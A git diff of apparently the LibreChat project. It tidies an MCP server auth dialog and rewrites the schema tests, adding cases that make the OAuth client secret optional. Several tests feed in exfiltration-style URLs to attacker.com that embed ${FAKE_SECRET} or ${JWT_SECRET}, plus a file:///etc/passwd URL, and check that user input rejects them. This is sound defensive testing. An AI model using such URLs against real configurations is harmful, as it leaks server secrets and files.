diff --git a/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/sections/AuthSection.tsx b/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/sections/AuthSection.tsx index 6d18ccf15b01..fd20139ab48e 100644 --- a/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/sections/AuthSection.tsx +++ b/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/sections/AuthSection.tsx @@ -1,11 +1,11 @@ -import { useMemo, useState } from 'react'; +import { Checkbox, Input, Label, Radio, SecretInput, useToastContext } from '@librechat/client'; import { Copy, CopyCheck } from 'lucide-react'; +import { useMemo, useState } from 'react'; import { useFormContext, useWatch } from 'react-hook-form'; -import { Label, Input, Checkbox, SecretInput, Radio, useToastContext } from '@librechat/client'; -import { AuthTypeEnum, AuthorizationTypeEnum } from '../hooks/useMCPServerForm'; -import type { MCPServerFormData } from '../hooks/useMCPServerForm'; -import { useLocalize, useCopyToClipboard } from '~/hooks'; +import { useCopyToClipboard, useLocalize } from '~/hooks'; import { cn } from '~/utils'; +import type { MCPServerFormData } from '../hooks/useMCPServerForm'; +import { AuthorizationTypeEnum, AuthTypeEnum } from '../hooks/useMCPServerForm'; interface AuthSectionProps { isEditMode: boolean; @@ -183,35 +183,15 @@ export default function AuthSection({ isEditMode, serverName }: AuthSectionProps
- {errors.auth?.oauth_client_secret && ( - - )}
@@ -265,7 +245,9 @@ export default function AuthSection({ isEditMode, serverName }: AuthSectionProps type="button" onClick={() => { if (isCopying) return; - showToast({ message: localize('com_ui_copied_to_clipboard') }); + showToast({ + message: localize('com_ui_copied_to_clipboard'), + }); copyLink(setIsCopying); }} className="flex size-10 shrink-0 items-center justify-center rounded-lg border border-border-light text-text-secondary transition-colors hover:bg-surface-hover hover:text-text-primary" diff --git a/packages/data-provider/specs/mcp.spec.ts b/packages/data-provider/specs/mcp.spec.ts index 573769c4fad9..e28c322c872f 100644 --- a/packages/data-provider/specs/mcp.spec.ts +++ b/packages/data-provider/specs/mcp.spec.ts @@ -1,147 +1,193 @@ -import { SSEOptionsSchema, MCPServerUserInputSchema } from '../src/mcp'; - -describe('MCPServerUserInputSchema', () => { - describe('env variable exfiltration prevention', () => { - it('should confirm admin schema resolves env vars (attack vector baseline)', () => { - process.env.FAKE_SECRET = 'leaked-secret-value'; - const adminResult = SSEOptionsSchema.safeParse({ - type: 'sse', - url: 'http://attacker.com/?secret=${FAKE_SECRET}', - }); - expect(adminResult.success).toBe(true); - if (adminResult.success) { - expect(adminResult.data.url).toContain('leaked-secret-value'); - } - delete process.env.FAKE_SECRET; - }); - - it('should reject the same URL through user input schema', () => { - process.env.FAKE_SECRET = 'leaked-secret-value'; - const userResult = MCPServerUserInputSchema.safeParse({ - type: 'sse', - url: 'http://attacker.com/?secret=${FAKE_SECRET}', - }); - expect(userResult.success).toBe(false); - delete process.env.FAKE_SECRET; - }); - }); - - describe('env variable rejection', () => { - it('should reject SSE URLs containing env variable patterns', () => { - const result = MCPServerUserInputSchema.safeParse({ - type: 'sse', - url: 'http://attacker.com/?secret=${FAKE_SECRET}', - }); - expect(result.success).toBe(false); - }); - - it('should reject streamable-http URLs containing env variable patterns', () => { - const result = MCPServerUserInputSchema.safeParse({ - type: 'streamable-http', - url: 'http://attacker.com/?jwt=${JWT_SECRET}', - }); - expect(result.success).toBe(false); - }); - - it('should reject WebSocket URLs containing env variable patterns', () => { - const result = MCPServerUserInputSchema.safeParse({ - type: 'websocket', - url: 'ws://attacker.com/?secret=${FAKE_SECRET}', - }); - expect(result.success).toBe(false); - }); - }); - - describe('protocol allowlisting', () => { - it('should reject file:// URLs for SSE', () => { - const result = MCPServerUserInputSchema.safeParse({ - type: 'sse', - url: 'file:///etc/passwd', - }); - expect(result.success).toBe(false); - }); - - it('should reject ftp:// URLs for streamable-http', () => { - const result = MCPServerUserInputSchema.safeParse({ - type: 'streamable-http', - url: 'ftp://internal-server/data', - }); - expect(result.success).toBe(false); - }); - - it('should reject http:// URLs for WebSocket', () => { - const result = MCPServerUserInputSchema.safeParse({ - type: 'websocket', - url: 'http://example.com/ws', - }); - expect(result.success).toBe(false); - }); - - it('should reject ws:// URLs for SSE', () => { - const result = MCPServerUserInputSchema.safeParse({ - type: 'sse', - url: 'ws://example.com/sse', - }); - expect(result.success).toBe(false); - }); - }); - - describe('valid URL acceptance', () => { - it('should accept valid https:// SSE URLs', () => { - const result = MCPServerUserInputSchema.safeParse({ - type: 'sse', - url: 'https://mcp-server.com/sse', - }); - expect(result.success).toBe(true); - if (result.success) { - expect(result.data.url).toBe('https://mcp-server.com/sse'); - } - }); - - it('should accept valid http:// SSE URLs', () => { - const result = MCPServerUserInputSchema.safeParse({ - type: 'sse', - url: 'http://mcp-server.com/sse', - }); - expect(result.success).toBe(true); - }); - - it('should accept valid wss:// WebSocket URLs', () => { - const result = MCPServerUserInputSchema.safeParse({ - type: 'websocket', - url: 'wss://mcp-server.com/ws', - }); - expect(result.success).toBe(true); - if (result.success) { - expect(result.data.url).toBe('wss://mcp-server.com/ws'); - } - }); - - it('should accept valid ws:// WebSocket URLs', () => { - const result = MCPServerUserInputSchema.safeParse({ - type: 'websocket', - url: 'ws://mcp-server.com/ws', - }); - expect(result.success).toBe(true); - }); - - it('should accept valid https:// streamable-http URLs', () => { - const result = MCPServerUserInputSchema.safeParse({ - type: 'streamable-http', - url: 'https://mcp-server.com/http', - }); - expect(result.success).toBe(true); - if (result.success) { - expect(result.data.url).toBe('https://mcp-server.com/http'); - } - }); - - it('should accept valid http:// streamable-http URLs with "http" alias', () => { - const result = MCPServerUserInputSchema.safeParse({ - type: 'http', - url: 'http://mcp-server.com/mcp', - }); - expect(result.success).toBe(true); - }); - }); +import { MCPServerUserInputSchema, SSEOptionsSchema } from "../src/mcp"; + +describe("MCPServerUserInputSchema", () => { + describe("env variable exfiltration prevention", () => { + it("should confirm admin schema resolves env vars (attack vector baseline)", () => { + process.env.FAKE_SECRET = "leaked-secret-value"; + const adminResult = SSEOptionsSchema.safeParse({ + type: "sse", + url: "http://attacker.com/?secret=${FAKE_SECRET}", + }); + expect(adminResult.success).toBe(true); + if (adminResult.success) { + expect(adminResult.data.url).toContain("leaked-secret-value"); + } + delete process.env.FAKE_SECRET; + }); + + it("should reject the same URL through user input schema", () => { + process.env.FAKE_SECRET = "leaked-secret-value"; + const userResult = MCPServerUserInputSchema.safeParse({ + type: "sse", + url: "http://attacker.com/?secret=${FAKE_SECRET}", + }); + expect(userResult.success).toBe(false); + delete process.env.FAKE_SECRET; + }); + }); + + describe("env variable rejection", () => { + it("should reject SSE URLs containing env variable patterns", () => { + const result = MCPServerUserInputSchema.safeParse({ + type: "sse", + url: "http://attacker.com/?secret=${FAKE_SECRET}", + }); + expect(result.success).toBe(false); + }); + + it("should reject streamable-http URLs containing env variable patterns", () => { + const result = MCPServerUserInputSchema.safeParse({ + type: "streamable-http", + url: "http://attacker.com/?jwt=${JWT_SECRET}", + }); + expect(result.success).toBe(false); + }); + + it("should reject WebSocket URLs containing env variable patterns", () => { + const result = MCPServerUserInputSchema.safeParse({ + type: "websocket", + url: "ws://attacker.com/?secret=${FAKE_SECRET}", + }); + expect(result.success).toBe(false); + }); + }); + + describe("protocol allowlisting", () => { + it("should reject file:// URLs for SSE", () => { + const result = MCPServerUserInputSchema.safeParse({ + type: "sse", + url: "file:///etc/passwd", + }); + expect(result.success).toBe(false); + }); + + it("should reject ftp:// URLs for streamable-http", () => { + const result = MCPServerUserInputSchema.safeParse({ + type: "streamable-http", + url: "ftp://internal-server/data", + }); + expect(result.success).toBe(false); + }); + + it("should reject http:// URLs for WebSocket", () => { + const result = MCPServerUserInputSchema.safeParse({ + type: "websocket", + url: "http://example.com/ws", + }); + expect(result.success).toBe(false); + }); + + it("should reject ws:// URLs for SSE", () => { + const result = MCPServerUserInputSchema.safeParse({ + type: "sse", + url: "ws://example.com/sse", + }); + expect(result.success).toBe(false); + }); + }); + + describe("valid URL acceptance", () => { + it("should accept valid https:// SSE URLs", () => { + const result = MCPServerUserInputSchema.safeParse({ + type: "sse", + url: "https://mcp-server.com/sse", + }); + expect(result.success).toBe(true); + if (result.success) { + expect(result.data.url).toBe("https://mcp-server.com/sse"); + } + }); + + it("should accept valid http:// SSE URLs", () => { + const result = MCPServerUserInputSchema.safeParse({ + type: "sse", + url: "http://mcp-server.com/sse", + }); + expect(result.success).toBe(true); + }); + + it("should accept valid wss:// WebSocket URLs", () => { + const result = MCPServerUserInputSchema.safeParse({ + type: "websocket", + url: "wss://mcp-server.com/ws", + }); + expect(result.success).toBe(true); + if (result.success) { + expect(result.data.url).toBe("wss://mcp-server.com/ws"); + } + }); + + it("should accept valid ws:// WebSocket URLs", () => { + const result = MCPServerUserInputSchema.safeParse({ + type: "websocket", + url: "ws://mcp-server.com/ws", + }); + expect(result.success).toBe(true); + }); + + it("should accept valid https:// streamable-http URLs", () => { + const result = MCPServerUserInputSchema.safeParse({ + type: "streamable-http", + url: "https://mcp-server.com/http", + }); + expect(result.success).toBe(true); + if (result.success) { + expect(result.data.url).toBe("https://mcp-server.com/http"); + } + }); + + it('should accept valid http:// streamable-http URLs with "http" alias', () => { + const result = MCPServerUserInputSchema.safeParse({ + type: "http", + url: "http://mcp-server.com/mcp", + }); + expect(result.success).toBe(true); + }); + }); + + describe("oauth client_secret optional (PKCE support)", () => { + it("should accept OAuth config without client_secret", () => { + const result = MCPServerUserInputSchema.safeParse({ + type: "sse", + url: "https://mcp-server.com/sse", + oauth: { + client_id: "my-public-client", + authorization_url: "https://auth.example.com/authorize", + token_url: "https://auth.example.com/token", + scope: "read", + }, + }); + expect(result.success).toBe(true); + if (result.success) { + expect(result.data.oauth?.client_secret).toBeUndefined(); + } + }); + + it("should accept OAuth config with client_secret", () => { + const result = MCPServerUserInputSchema.safeParse({ + type: "streamable-http", + url: "https://mcp-server.com/http", + oauth: { + client_id: "my-confidential-client", + client_secret: "s3cret", + scope: "read write", + }, + }); + expect(result.success).toBe(true); + if (result.success) { + expect(result.data.oauth?.client_secret).toBe("s3cret"); + } + }); + + it("should accept OAuth config with only client_id (public client)", () => { + const result = MCPServerUserInputSchema.safeParse({ + type: "sse", + url: "https://mcp-server.com/sse", + oauth: { + client_id: "public-app", + }, + }); + expect(result.success).toBe(true); + }); + }); });